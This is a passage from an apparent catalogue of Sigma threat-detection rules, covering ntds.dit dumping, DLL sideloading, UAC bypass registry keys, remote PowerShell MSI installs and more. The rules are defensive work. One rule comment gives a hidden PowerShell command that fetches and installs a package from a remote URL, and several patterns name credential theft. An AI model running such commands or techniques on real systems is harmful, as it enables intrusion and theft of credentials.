    | fields data.details.response.body{}, data.details.request.ip, data.user_id
    | rename data.details.response.body{} as mfa_mode
    ```Take only the last change of configurations that reflects the current settings```
    | sort - _time
    | head 1
    ```Check if mfa_mode contains an empty value, i.e. no policies are enabled```
    | where NOT match(mfa_mode, "^(all-applications|confidence-score)$")
    | eval mfa_policy = case(
       mfa_mode ="all-applications", "Always",
       mfa_mode ="confidence-score", "Adaptive MFA",
       true(), "Never"
      )
    ``` Print output ```
    | table _time, data.details.request.ip, data.user_id, mfa_policy
comments:
    - The Splunk query above shall be tuned to reflect a valid tenant name.
    - A possible false positive is when MFA policies are applied through Actions.
    - Limit the detection to actions conducted from not allowlisted IPs and/or particular users.
tenant_logs: |
    type: "sapi" AND description: "Update multi-factor authentication policies"
prevention:
    - Control tenant admins, i.e. "Admin", as this role has permissions to modify any application.
    - Enforce MFA for tenant admins to reduce the risk of an adversary gaining access.
    - Control Management API scopes that allow modification of MFA settings - update:mfa_policies.
    - Control usage of Management API from only trusted IPs by applying Network ACL scoped to "management".
falsepositives:
    - MFA can be disabled in favour of the custom MFA setup via Actions.
    - Intentional legitimate disabling by administrators.
tags:
    - attack.defense-evasion
    - attack.t1562
    - attack.t1562.007

Stages and Predicates

Stage 0: condition

selection and (filter_1 or filter_2)

Stage 1: selection

selection:
    data.type: sapi
    data.description:
        - Update multi-factor authentication policies

Stage 2: filter_1

filter_1:
    data.details.response.body{}: 'all-applications'

Stage 3: filter_2

filter_2:
    data.details.response.body{}: 'confidence-score'

Indicators

These rows show field, operator, and value matches.

Ntdsutil Abuse

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects potential abuse of ntdsutil to dump ntds.dit database

Known False Positives

  • Legitimate backup operation/creating shadow copies

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: Ntdsutil Abuse
id: e6e88853-5f20-4c4a-8d26-cd469fd8d31f
status: test
description: Detects potential abuse of ntdsutil to dump ntds.dit database
references:
    - https://twitter.com/mgreen27/status/1558223256704122882
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-14
tags:
    - attack.credential-access
    - attack.t1003.003
logsource:
    product: windows
    service: application
    # warning: The 'data' field used in the detection section is the container for the event data as a whole. You may have to adapt the rule for your backend accordingly
detection:
    selection:
        Provider_Name: 'ESENT'
        EventID:
            - 216
            - 325
            - 326
            - 327
        Data|contains: 'ntds.dit'
    condition: selection
falsepositives:
    - Legitimate backup operation/creating shadow copies
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Provider_Name: 'ESENT'
    EventID:
        - 216
        - 325
        - 326
        - 327
    Data|contains: 'ntds.dit'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Datamatch
  • ntds.dit corpus 2 (sigma 2)
field:"Data" kind:match value:"ntds.dit"
Provider_Nameeq
  • ESENT corpus 2 (sigma 2)
field:"Provider_Name" kind:eq value:"ESENT"

OpenCanary - HTTPPROXY Login Attempt

#
Status
test
Severity
high
Author
Security Onion Solutions
Source
github.com/SigmaHQ/sigma

Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Rule Body

title: OpenCanary - HTTPPROXY Login Attempt
id: 5498fc09-adc6-4804-b9d9-5cca1f0b8760
status: test
description: |
    Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.initial-access
    - attack.command-and-control
    - attack.t1090
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 7001
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    logtype: 7001

Indicators

These rows show field, operator, and value matches.

Potential Container Discovery Via Inodes Listing

#
Status
test
Severity
low
Author
Seth Hanford
Source
github.com/SigmaHQ/sigma

Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.

Known False Positives

  • Legitimate system administrator usage of these commands
  • Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Potential Container Discovery Via Inodes Listing
id: 43e26eb5-cd58-48d1-8ce9-a273f5d298d8
status: test
description: Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container.
references:
    - https://blog.skyplabs.net/posts/container-detection/
    - https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
tags:
    - attack.discovery
    - attack.t1082
author: Seth Hanford
date: 2023-08-23
modified: 2025-11-24
logsource:
    category: process_creation
    product: linux
detection:
    selection_ls_img:
        Image|endswith: '/ls'    # inode outside containers low, inside high
    selection_ls_cli:
        - CommandLine|endswith: ' /'
        - CommandLine|contains: ' / '
    selection_regex_inode:
        CommandLine|re: '(?:\s-[^-\s]{0,20}i|\s--inode\s)'      # -i finds inode number
    selection_regex_dir:
        CommandLine|re: '(?:\s-[^-\s]{0,20}d|\s--directory\s)'  # -d gets directory itself, not contents
    condition: all of selection_*
falsepositives:
    - Legitimate system administrator usage of these commands
    - Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered
level: low

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_ls_img

selection_ls_img:
    Image|endswith: '/ls'

Stage 2: selection_ls_cli

selection_ls_cli:
    - CommandLine|endswith: ' /'
    - CommandLine|contains: ' / '

Stage 3: selection_regex_inode

selection_regex_inode:
    CommandLine|re: '(?:\s-[^-\s]{0,20}i|\s--inode\s)'

Stage 4: selection_regex_dir

selection_regex_dir:
    CommandLine|re: '(?:\s-[^-\s]{0,20}d|\s--directory\s)'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLineends_with
  • /
field:"CommandLine" kind:ends_with value:" /"
CommandLinematch
  • /
field:"CommandLine" kind:match value:" / "
CommandLineregex_match
  • (?:\s-[^-\s]{0,20}d|\s--directory\s)
  • (?:\s-[^-\s]{0,20}i|\s--inode\s)
field:"CommandLine" kind:regex_match
Imageends_with
  • /ls corpus 4 (sigma 4)
field:"Image" kind:ends_with value:"/ls"

Potential Persistence Via Mpnotify

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects when an attacker register a new SIP provider for persistence and defense evasion

Known False Positives

  • Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way

MITRE ATT&CK Coverage

TacticTechniques
PersistenceNo specific technique

Telemetry Coverage

Rule Body

title: Potential Persistence Via Mpnotify
id: 92772523-d9c1-4c93-9547-b0ca500baba3
status: test
description: Detects when an attacker register a new SIP provider for persistence and defense evasion
references:
    - https://persistence-info.github.io/Data/mpnotify.html
    - https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-21
modified: 2023-08-17
tags:
    - attack.persistence
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\mpnotify'
    condition: selection
falsepositives:
    - Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetObject|contains: '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\mpnotify'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetObjectmatch
  • \SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\mpnotify
field:"TargetObject" kind:match value:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\mpnotify"

Potential Rcdll.DLL Sideloading

#
Status
test
Severity
high
Author
X__Junior (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects potential DLL sideloading of rcdll.dll

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: Potential Rcdll.DLL Sideloading
id: 6e78b74f-c762-4800-82ad-f66787f10c8a
status: test
description: Detects potential DLL sideloading of rcdll.dll
references:
    - https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
author: X__Junior (Nextron Systems)
date: 2023-03-13
modified: 2023-03-15
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\rcdll.dll'
    filter:
        ImageLoaded|startswith:
            - 'C:\Program Files (x86)\Microsoft Visual Studio\'
            - 'C:\Program Files (x86)\Windows Kits\'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    ImageLoaded|endswith: '\rcdll.dll'

Stage 2: not filter

filter:
    ImageLoaded|startswith:
        - 'C:\Program Files (x86)\Microsoft Visual Studio\'
        - 'C:\Program Files (x86)\Windows Kits\'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
ImageLoadedstarts_withC:\Program Files (x86)\Microsoft Visual Studio\excludes:ImageLoaded field:"ImageLoaded" value:"C:\Program Files (x86)\Microsoft Visual Studio\"
ImageLoadedstarts_withC:\Program Files (x86)\Windows Kits\excludes:ImageLoaded field:"ImageLoaded" value:"C:\Program Files (x86)\Windows Kits\"

Potential RoboForm.DLL Sideloading

#
Status
test
Severity
medium
Author
X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager

Known False Positives

  • If installed on a per-user level, the path would be located in "AppData\Local". Add additional filters to reflect this mode of installation

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: Potential RoboForm.DLL Sideloading
id: f64c9b2d-b0ad-481d-9d03-7fc75020892a
status: test
description: Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager
references:
    - https://twitter.com/StopMalvertisin/status/1648604148848549888
    - https://twitter.com/t3ft3lb/status/1656194831830401024
    - https://www.roboform.com/
author: X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-14
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith:
            - '\roboform.dll'
            - '\roboform-x64.dll'
    filter_main_path:
        Image|startswith:
            - ' C:\Program Files (x86)\Siber Systems\AI RoboForm\'
            - ' C:\Program Files\Siber Systems\AI RoboForm\'
        Image|endswith:
            - '\robotaskbaricon.exe'
            - '\robotaskbaricon-x64.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - If installed on a per-user level, the path would be located in "AppData\Local". Add additional filters to reflect this mode of installation
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    ImageLoaded|endswith:
        - '\roboform.dll'
        - '\roboform-x64.dll'

Stage 2: not filter_main_path

filter_main_path:
    Image|startswith:
        - ' C:\Program Files (x86)\Siber Systems\AI RoboForm\'
        - ' C:\Program Files\Siber Systems\AI RoboForm\'
    Image|endswith:
        - '\robotaskbaricon.exe'
        - '\robotaskbaricon-x64.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ImageLoadedends_with
  • \roboform-x64.dll
  • \roboform.dll
field:"ImageLoaded" kind:ends_with

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\robotaskbaricon-x64.exeexcludes:Image field:"Image" value:"\robotaskbaricon-x64.exe"
Imageends_with\robotaskbaricon.exeexcludes:Image field:"Image" value:"\robotaskbaricon.exe"
Imagestarts_with C:\Program Files (x86)\Siber Systems\AI RoboForm\excludes:Image field:"Image" value:" C:\Program Files (x86)\Siber Systems\AI RoboForm\"
Imagestarts_with C:\Program Files\Siber Systems\AI RoboForm\excludes:Image field:"Image" value:" C:\Program Files\Siber Systems\AI RoboForm\"

PowerShell Decompress Commands

#
Status
test
Severity
informational
Author
Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
Source
github.com/SigmaHQ/sigma

A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: PowerShell Decompress Commands
id: 1ddc1472-8e52-4f7d-9f11-eab14fc171f5
related:
    - id: 81fbdce6-ee49-485a-908d-1a728c5dcb09
      type: derived
status: test
description: A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.
references:
    - https://github.com/OTRF/detection-hackathon-apt29/issues/8
    - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-05-02
modified: 2022-12-25
tags:
    - attack.stealth
    - attack.t1140
logsource:
    product: windows
    category: ps_module
    definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
    selection_4103:
        Payload|contains: 'Expand-Archive'
    condition: selection_4103
falsepositives:
    - Unknown
level: informational

Stages and Predicates

Stage 0: condition

selection_4103

Stage 1: selection_4103

selection_4103:
    Payload|contains: 'Expand-Archive'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Payloadmatch
  • Expand-Archive
field:"Payload" kind:match value:"Expand-Archive"

PowerShell MSI Install via WindowsInstaller COM From Remote Location

#
Status
experimental
Severity
medium
Author
Meroujan Antonyan (vx3r)
Source
github.com/SigmaHQ/sigma

Detects the execution of PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (WindowsInstaller.Installer) hosted remotely. This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality. And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: PowerShell MSI Install via WindowsInstaller COM From Remote Location
id: 222720a7-047f-4054-baa5-bab9be757db0
status: experimental
description: |
    Detects the execution of PowerShell commands that attempt to install MSI packages via the
    Windows Installer COM object (`WindowsInstaller.Installer`) hosted remotely.
    This could be indication of malicious software deployment or lateral movement attempts using Windows Installer functionality.
    And the usage of WindowsInstaller COM object rather than msiexec could be an attempt to bypass the detection.
references:
    - https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
    - https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
author: Meroujan Antonyan (vx3r)
date: 2025-06-05
tags:
    - attack.execution
    - attack.stealth
    - attack.t1059.001
    - attack.t1218
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    # Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='https://example.com/';$i=New-Object -ComObject('WindowsInstaller.Installer');$i.UILevel=2;$i.InstallProduct($u),'')";
    selection_img:
        - Image|endswith:
              - '\powershell_ise.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'PowerShell_ISE.EXE'
              - 'PowerShell.EXE'
              - 'pwsh.dll'
    selection_cli:
        CommandLine|contains|all:
            - '-ComObject'
            - 'InstallProduct('
    selection_remote:
        CommandLine|contains:
            - 'http'
            - '\\\\'
    filter_main_localhost:
        CommandLine|contains:
            - '://127.0.0.1'
            - '://localhost'
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_* and not 1 of filter_main_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '\powershell_ise.exe'
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'PowerShell_ISE.EXE'
          - 'PowerShell.EXE'
          - 'pwsh.dll'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - '-ComObject'
        - 'InstallProduct('

Stage 3: selection_remote

selection_remote:
    CommandLine|contains:
        - 'http'
        - '\\\\'

Stage 4: not filter_main_localhost

filter_main_localhost:
    CommandLine|contains:
        - '://127.0.0.1'
        - '://localhost'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -ComObject corpus 2 (sigma 2)
  • InstallProduct( corpus 2 (sigma 2)
  • \\\\ corpus 8 (sigma 5, splunk 3)
  • http corpus 45 (sigma 34, elastic 10, splunk 1)
field:"CommandLine" kind:match
Imageends_with
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \powershell_ise.exe corpus 41 (sigma 41)
  • \pwsh.exe corpus 166 (sigma 166)
field:"Image" kind:ends_with
OriginalFileNameeq
  • PowerShell.EXE corpus 134 (sigma 86, splunk 30, elastic 18)
  • PowerShell_ISE.EXE corpus 52 (splunk 30, sigma 18, elastic 4)
  • pwsh.dll corpus 115 (sigma 81, splunk 30, elastic 4)
field:"OriginalFileName" kind:eq

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
CommandLinematch://127.0.0.1excludes:CommandLine field:"CommandLine" value:"://127.0.0.1"
CommandLinematch://localhostexcludes:CommandLine field:"CommandLine" value:"://localhost"

Prefetch File Deleted

#
Status
test
Severity
high
Author
Cedric MAURUGEON
Source
github.com/SigmaHQ/sigma

Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Prefetch File Deleted
id: 0a1f9d29-6465-4776-b091-7f43b26e4c89
status: test
description: Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence
references:
    - Internal Research
    - https://www.group-ib.com/blog/hunting-for-ttps-with-prefetch-files/
author: Cedric MAURUGEON
date: 2021-09-29
modified: 2024-01-25
tags:
    - attack.stealth
    - attack.t1070.004
logsource:
    product: windows
    category: file_delete
detection:
    selection:
        TargetFilename|contains: ':\Windows\Prefetch\'
        TargetFilename|endswith: '.pf'
    filter_main_svchost:
        Image|endswith: ':\windows\system32\svchost.exe'
        User|contains: # covers many language settings
            - 'AUTHORI'
            - 'AUTORI'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    TargetFilename|contains: ':\Windows\Prefetch\'
    TargetFilename|endswith: '.pf'

Stage 2: not filter_main_svchost

filter_main_svchost:
    Image|endswith: ':\windows\system32\svchost.exe'
    User|contains:
        - 'AUTHORI'
        - 'AUTORI'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
UsermatchAUTHORIexcludes:User field:"User" value:"AUTHORI"
UsermatchAUTORIexcludes:User field:"User" value:"AUTORI"
Imageends_with:\windows\system32\svchost.exeexcludes:Image field:"Image" value:":\windows\system32\svchost.exe"

Privilege Escalation via Named Pipe Impersonation

#
Status
test
Severity
high
Author
Tim Rauch, Elastic (idea)
Source
github.com/SigmaHQ/sigma

Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.

Known False Positives

  • Other programs that cause these patterns (please report)

MITRE ATT&CK Coverage

TacticTechniques
Lateral Movement

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Privilege Escalation via Named Pipe Impersonation
id: 9bd04a79-dabe-4f1f-a5ff-92430265c96b
related:
    - id: f35c5d71-b489-4e22-a115-f003df287317
      type: derived
status: test
description: Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.
references:
    - https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html
author: Tim Rauch, Elastic (idea)
date: 2022-09-27
modified: 2022-12-30
tags:
    - attack.lateral-movement
    - attack.t1021
logsource:
    category: process_creation
    product: windows
detection:
    selection_name:
        - Image|endswith:
              - '\cmd.exe'
              - '\powershell.exe'
        - OriginalFileName:
              - 'Cmd.Exe'
              - 'PowerShell.EXE'
    selection_args:
        CommandLine|contains|all:
            - 'echo'
            - '>'
            - '\\\\.\\pipe\\'
    condition: all of selection*
falsepositives:
    - Other programs that cause these patterns (please report)
level: high

Stages and Predicates

Stage 0: condition

all of selection*

Stage 1: selection_name

selection_name:
    - Image|endswith:
          - '\cmd.exe'
          - '\powershell.exe'
    - OriginalFileName:
          - 'Cmd.Exe'
          - 'PowerShell.EXE'

Stage 2: selection_args

selection_args:
    CommandLine|contains|all:
        - 'echo'
        - '>'
        - '\\\\.\\pipe\\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • > corpus 6 (sigma 6)
  • \\\\.\\pipe\\
  • echo corpus 8 (sigma 4, splunk 4)
field:"CommandLine" kind:match
Imageends_with
  • \cmd.exe corpus 132 (sigma 130, splunk 2)
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
field:"Image" kind:ends_with
OriginalFileNameeq
  • Cmd.Exe corpus 75 (sigma 43, splunk 17, elastic 15)
  • PowerShell.EXE corpus 134 (sigma 86, splunk 30, elastic 18)
field:"OriginalFileName" kind:eq

Remote PowerShell Sessions Network Connections (WinRM)

#
Status
test
Severity
high
Author
Roberto Rodriguez @Cyb3rWard0g
Source
github.com/SigmaHQ/sigma

Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986

Known False Positives

  • Legitimate use of remote PowerShell execution

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Remote PowerShell Sessions Network Connections (WinRM)
id: 13acf386-b8c6-4fe0-9a6e-c4756b974698
status: test
description: Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986
references:
    - https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
author: Roberto Rodriguez @Cyb3rWard0g
date: 2019-09-12
modified: 2022-10-09
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 5156
        DestPort:
            - 5985
            - 5986
        LayerRTID: 44
    condition: selection
falsepositives:
    - Legitimate use of remote PowerShell execution
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 5156
    DestPort:
        - 5985
        - 5986
    LayerRTID: 44

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
DestPorteq
  • 5985 corpus 2 (sigma 2)
  • 5986 corpus 2 (sigma 2)
field:"DestinationPort" kind:eq
LayerRTIDeq
  • 44
field:"LayerRTID" kind:eq value:"44"

Remote Task Creation via ATSVC Named Pipe

#
Status
test
Severity
medium
Author
Samir Bousseaden
Source
github.com/SigmaHQ/sigma

Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Remote Task Creation via ATSVC Named Pipe
id: f6de6525-4509-495a-8a82-1f8b0ed73a00
status: test
description: Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
references:
    - https://web.archive.org/web/20230409194125/https://blog.menasec.net/2019/03/threat-hunting-25-scheduled-tasks-for.html
author: Samir Bousseaden
date: 2019-04-03
modified: 2024-08-01
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.lateral-movement
    - attack.persistence
    - car.2013-05-004
    - car.2015-04-001
    - attack.t1053.002
logsource:
    product: windows
    service: security
    definition: 'The advanced audit policy setting "Object Access > Audit Detailed File Share" must be configured for Success/Failure'
detection:
    selection:
        EventID: 5145
        ShareName: '\\\\\*\\IPC$' # looking for the string \\*\IPC$
        RelativeTargetName: atsvc
        AccessList|contains: 'WriteData'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 5145
    ShareName: '\\\\\*\\IPC$'
    RelativeTargetName: atsvc
    AccessList|contains: 'WriteData'

Indicators

These rows show field, operator, and value matches.

Renamed ZOHO Dctask64 Execution

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Renamed ZOHO Dctask64 Execution
id: 340a090b-c4e9-412e-bb36-b4b16fe96f9b
status: test
description: |
    Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central.
    This binary can be abused for DLL injection, arbitrary command and process execution.
references:
    - https://twitter.com/gN3mes1s/status/1222088214581825540
    - https://twitter.com/gN3mes1s/status/1222095963789111296
    - https://twitter.com/gN3mes1s/status/1222095371175911424
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2020-01-28
modified: 2025-01-22
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1036
    - attack.t1055.001
    - attack.t1202
    - attack.t1218
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Hashes|contains:
            - 'IMPHASH=6834B1B94E49701D77CCB3C0895E1AFD'
            - 'IMPHASH=1BB6F93B129F398C7C4A76BB97450BBA'
            - 'IMPHASH=FAA2AC19875FADE461C8D89DCF2710A3'
            - 'IMPHASH=F1039CED4B91572AB7847D26032E6BBF'
    filter_main_legit_name:
        Image|endswith: '\dctask64.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    Hashes|contains:
        - 'IMPHASH=6834B1B94E49701D77CCB3C0895E1AFD'
        - 'IMPHASH=1BB6F93B129F398C7C4A76BB97450BBA'
        - 'IMPHASH=FAA2AC19875FADE461C8D89DCF2710A3'
        - 'IMPHASH=F1039CED4B91572AB7847D26032E6BBF'

Stage 2: not filter_main_legit_name

filter_main_legit_name:
    Image|endswith: '\dctask64.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Hashesmatch
  • IMPHASH=1BB6F93B129F398C7C4A76BB97450BBA corpus 2 (sigma 2)
  • IMPHASH=6834B1B94E49701D77CCB3C0895E1AFD corpus 2 (sigma 2)
  • IMPHASH=F1039CED4B91572AB7847D26032E6BBF corpus 2 (sigma 2)
  • IMPHASH=FAA2AC19875FADE461C8D89DCF2710A3 corpus 2 (sigma 2)
field:"Hashes" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\dctask64.exeexcludes:Image field:"Image" value:"\dctask64.exe"

Shell Open Registry Keys Manipulation

#
Status
test
Severity
high
Author
Christian Burkard (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects manipulation of shell open command registry keys such as "ms-settings" and "exefile", which are commonly abused to achieve UAC bypass (e.g. via fodhelper.exe) or establish persistence through file association hijacking.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Shell Open Registry Keys Manipulation
id: 152f3630-77c1-4284-bcc0-4cc68ab2f6e7
related:
    - id: dd3ee8cc-f751-41c9-ba53-5a32ed47e563
      type: similar
status: test
description: |
    Detects manipulation of shell open command registry keys such as "ms-settings" and "exefile",
    which are commonly abused to achieve UAC bypass (e.g. via fodhelper.exe) or establish persistence
    through file association hijacking.
references:
    - https://github.com/hfiref0x/UACME
    - https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
    - https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass
    - https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]
author: Christian Burkard (Nextron Systems)
date: 2021-08-30
modified: 2026-08-27
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1548.002
    - attack.t1546.001
logsource:
    category: registry_event
    product: windows
detection:
    selection_1:
        EventType: SetValue
        TargetObject|endswith: 'Classes\ms-settings\shell\open\command\SymbolicLinkValue'
        Details|contains: '\Software\Classes\{'
    selection_2:
        TargetObject|endswith: 'Classes\ms-settings\shell\open\command\DelegateExecute'
    selection_3:
        EventType: SetValue
        TargetObject|endswith:
            - 'Classes\ms-settings\shell\open\command\(Default)'
            - 'Classes\exefile\shell\open\command\(Default)'
    filter_main_empty:
        Details: '(Empty)'
    filter_main_default_com:
        Details:
            - '{4813071a-41ad-44a2-9835-886d2f63ca30}'
            - '{A56A841F-E974-45C1-8001-7E3F8A085917}'
            - '{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}'
            - '{BFEC0C93-0B7D-4F2C-B09C-AFFFC4BDAE78}'
    condition: 1 of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

1 of selection_* and not 1 of filter_main_*

Stage 1: selection_1

selection_1:
    EventType: SetValue
    TargetObject|endswith: 'Classes\ms-settings\shell\open\command\SymbolicLinkValue'
    Details|contains: '\Software\Classes\{'

